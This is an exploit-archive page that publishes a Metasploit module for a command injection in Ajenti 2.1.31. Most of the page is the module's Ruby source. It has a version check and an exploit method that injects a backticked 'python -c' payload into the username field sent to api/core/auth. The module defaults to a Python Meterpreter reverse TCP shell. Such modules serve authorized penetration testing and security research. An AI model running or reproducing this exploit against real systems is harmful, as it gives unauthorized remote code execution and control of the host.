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Ajenti 2.1.31 Command Injection

Ajenti 2.1.31 Command Injection
Posted Dec 2, 2019
Authored by Jeremy Brown, Onur ER | Site metasploit.com

This Metasploit module exploits a command injection in Ajenti version 2.1.31. By injecting a command into the username POST parameter to api/core/auth, a shell can be spawned.

tags | exploit, shell
MD5 | 7c4130c9c91b99ff51567ab20d19ea6e

Ajenti 2.1.31 Command Injection

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Ajenti auth username Command Injection',
'Description' => %q{
This module exploits a command injection in Ajenti == 2.1.31.
By injecting a command into the username POST parameter to api/core/auth, a shell can be spawned.
},
'Author' => [
'Jeremy Brown', # Vulnerability discovery
'Onur ER <onur@onurer.net>' # Metasploit module
],
'References' => [
['EDB', '47497']
],
'DisclosureDate' => '2019-10-14',
'License' => MSF_LICENSE,
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'Privileged' => false,
'Targets' => [
['Ajenti == 2.1.31', {}]
],
'DefaultOptions' =>
{
'RPORT' => 8000,
'SSL' => true,
'payload' => 'python/meterpreter/reverse_tcp'
},
'DefaultTarget' => 0
))
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end

def check
res = send_request_cgi({
'method' => 'GET',
'uri' => '/view/login/normal'
})

unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end

unless res.body =~ /ajenti/i
return CheckCode::Safe
end

version = res.body.scan(/'ajentiVersion', '([\d\.]+)'/).flatten.first

if version
vprint_status "Ajenti version #{version}"
end

if version == '2.1.31'
return CheckCode::Appears
end

CheckCode::Detected
end

def exploit
print_status('Exploiting...')
json_body = { 'username' => "`python -c \"#{payload.encoded}\"`",
'password' => rand_text_alpha_lower(7),
'mode' => 'normal'
}
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'api', 'core', 'auth'),
'ctype' => 'application/json',
'data' => JSON.generate(json_body)
})
end
end

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